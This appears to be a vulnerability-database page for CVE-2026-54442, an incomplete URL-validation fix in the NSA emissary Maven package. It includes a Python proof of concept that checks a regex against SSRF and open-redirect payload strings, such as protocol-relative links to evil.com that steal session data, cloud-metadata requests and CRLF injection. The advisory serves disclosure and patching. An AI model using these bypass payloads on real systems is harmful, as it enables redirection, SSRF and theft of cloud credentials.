Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
☕
☕ Maven
Not in CISA KEV
MEDIUM severity

CVE-2026-54442 — emissary

MEDIUMFix: NationalSecurityAgency/emissary@e207841

CVE-2026-54442 is a medium-severity (CVSS 4.8) vulnerability in gov.nsa.emissary:emissary. A fix is available for gov.nsa.emissary:emissary — see the affected versions and patch details below.

NationalSecurityAgency/emissary has an incomplete fix for CVE-2026-35571

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 30, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
☕gov.nsa.emissary:emissary

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The URL validation regex ^(https?:/)?/.* added to emissary's NavAction.java allows protocol-relative URLs (//evil.com/...) and single-slash scheme variants (http:/evil.com) to bypass validation, enabling SSRF and open redirect attacks.

Affected Package

  • Ecosystem: Maven
  • Package: NationalSecurityAgency/emissary
  • Affected versions: < e2078417464b
  • Patched versions: >= e2078417464b

Severity

Medium

CWE

CWE-918 — Server-Side Request Forgery (SSRF)

Details

The fix in NavAction.java (line 47) introduces a VALID_LINK pattern:

Pattern.compile("^(https?:/)?/.*")

This regex is intended to restrict navigation links to relative paths and HTTP/HTTPS URLs. However, it has multiple bypass vectors.

Protocol-relative URLs (//evil.com/...): The group (https?:/)? is optional, so the pattern reduces to //.* when the group is absent. This matches //evil.com/steal?c=SESSION, which browsers resolve to the current page's protocol plus the attacker's host.

Single-slash scheme (http:/evil.com): The regex group captures http:/ as a valid match, and browsers normalize http:/evil.com to http://evil.com, creating an open redirect to the attacker's server.

Protocol-relative to cloud metadata (//169.254.169.254/...): This enables SSRF to cloud instance metadata endpoints, which is particularly dangerous in AWS/GCP environments where IAM credentials can be retrieved.

The pre-fix code had no validation at all, accepting any URL. The fix blocks javascript:, ftp:, and data: URIs, but the protocol-relative and single-slash bypasses remain exploitable.

PoC

"""
CVE-2026-35571 - NationalSecurityAgency/emissary SSRF via NavAction

The fix in commit e2078417464b adds URL scheme validation using:
    Pattern.compile("^(https?:/)?/.*")

This allows protocol-relative URLs (//evil.com) and single-slash variants
(http:/evil.com) to bypass the validation.

Tested against: emissary@0d4dc56 (pre-fix) and patch e207841
Extracted from: src/main/java/emissary/server/mvc/NavAction.java:47
"""

import re
import sys

FIXED_PATTERN = re.compile(r"^(https?:/)?/.*")


def vulnerable_accepts(link: str) -> bool:
    """Pre-fix behaviour: no validation, everything passes."""
    return True


def fixed_accepts(link: str) -> bool:
    """Post-fix behaviour: must match VALID_LINK pattern."""
    return bool(FIXED_PATTERN.match(link))


TEST_VECTORS = [
    ("javascript: XSS payload",
     "javascript:alert(document.cookie)", True),
    ("ftp: scheme",
     "ftp://evil.com/exfil", True),
    ("data: URI",
     "data:text/html,<script>alert(1)</script>", True),

    ("Relative path",
     "/path/to/resource", False),
    ("HTTP URL",
     "http://trusted.internal:8080/api", False),
    ("HTTPS URL",
     "https://trusted.internal/api", False),

    ("Protocol-relative URL to attacker host (//evil.com)",
     "//evil.com/steal?c=SESSION", True),
    ("Protocol-relative with embedded credentials",
     "//user:[email protected]/path", True),
    ("Protocol-relative to cloud metadata (//169.254.169.254)",
     "//169.254.169.254/latest/meta-data/", True),
    ("Backslash trick (\\\\evil.com)",
     "\\\\evil.com/path", True),
    ("Tab in scheme (java\\tscript:...)",
     "java\tscript:alert(1)", True),
    ("Path starting with attacker-like host (/evil.com)",
     "/evil.com", False),
    ("Triple slash (///evil.com)",
     "///evil.com/etc/passwd", True),
    ("http:/ single-slash to attacker host",
     "http:/evil.com/steal", True),
    ("https:/ single-slash to attacker host",
     "https:/evil.com/steal", True),
    ("URL-encoded javascript scheme (%6a...)",
     "%6aavascript:alert(1)", True),
    ("CRLF injection in path",
     "/legit\r\nLocation: http://evil.com", True),
]


def main():
    print("=" * 72)
    print("CVE-2026-35571 -- Emissary NavAction SSRF / Open-Redirect PoC")
    print("Pattern under test: ^(https?:/)?/.*")
    print("=" * 72)
    print()

    bypasses_found = []
    results_table = []

    for desc, url, should_block in TEST_VECTORS:
        vuln_result = vulnerable_accepts(url)
        fixed_result = fixed_accepts(url)

        if should_block and fixed_result:
            status = "BYPASS"
            bypasses_found.append((desc, url))
        elif should_block and not fixed_result:
            status = "BLOCKED (good)"
        elif not should_block and fixed_result:
            status = "ALLOWED (good)"
        elif not should_block and not fixed_result:
            status = "FALSE-POS"
        else:
            status = "UNKNOWN"

        results_table.append((desc, url, vuln_result, fixed_result, status))

    for desc, url, vuln, fixed, status in results_table:
        display_url = repr(url) if len(url) > 50 else url
        print(f"[{status:>15}]  {desc}")
        print(f"{'':>17}  URL: {display_url}")
        print(f"{'':>17}  pre-fix={vuln}  post-fix={fixed}")
        print()

    print("=" * 72)
    print(f"Total vectors tested : {len(TEST_VECTORS)}")
    print(f"Bypasses found       : {len(bypasses_found)}")
    print()

    if bypasses_found:
        print("VULNERABILITY CONFIRMED -- the following vectors bypass the fix:")
        print()
        for desc, url in bypasses_found:
            print(f"  - {desc}")
            print(f"    URL: {repr(url)}")
        print()
        print("Key finding: The regex ^(https?:/)?/.* allows protocol-relative")
        print("URLs (//evil.com/...) because the optional group (https?:/) can be")
        print("absent, leaving //.* which matches //attacker.com. This enables")
        print("SSRF to arbitrary external hosts via navigation links.")
        print()
        print("Additionally, http:/evil.com and https:/evil.com match the regex")
        print("(group 1 captures 'http:/' or 'https:/') and browsers normalise")
        print("these to http://evil.com, enabling open redirect / SSRF.")
        sys.exit(0)
    else:
        print("No bypasses found -- fix appears complete.")
        sys.exit(1)


if __name__ == "__main__":
    main()

Steps to reproduce:

  1. Run python3 poc.py
  2. Observe that protocol-relative and single-slash URLs bypass the regex

Expected output:

VULNERABILITY CONFIRMED
Protocol-relative URLs (//evil.com/) and single-slash variants (http:/evil.com) bypass the regex validation.

Impact

An attacker can craft navigation links that bypass URL validation to redirect users to attacker-controlled servers (open redirect) or make the emissary server issue requests to internal services (SSRF). The //169.254.169.254/latest/meta-data/ bypass is particularly dangerous in cloud environments, enabling retrieval of IAM credentials.

Suggested Remediation

Replace the regex with one that explicitly rejects protocol-relative URLs. Alternatively, parse the URL with java.net.URI and validate the scheme and host against an allowlist rather than relying on regex.

References

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
☕Mavengov.nsa.emissary:emissaryall versions8.51.0gov.nsa.emissary:emissary:8.51.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gov.nsa.emissary:emissary, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update gov.nsa.emissary:emissary to 8.51.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54442 is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

### Summary The URL validation regex `^(https?:/)?/.*` added to emissary's `NavAction.java` allows protocol-relative URLs (`//evil.com/...`) and single-slash scheme variants (`http:/evil.com`) to bypass validation, enabling SSRF and open redirect attacks. ### Affected Package - **Ecosystem:** Maven - **Package:** NationalSecurityAgency/emissary - **Affected versions:** < e2078417464b - **Patched versions:** >= e2078417464b ### Severity Medium ### CWE CWE-918 — Server-Side Request Forgery (SSRF) ### Details The fix in `NavAction.java` (line 47) introduces a `VALID_LINK` pattern: ```ja
O3 Security · Impact-Aware SCA

Is CVE-2026-54442 in your dependencies?

Find it across Maven, including transitive dependencies.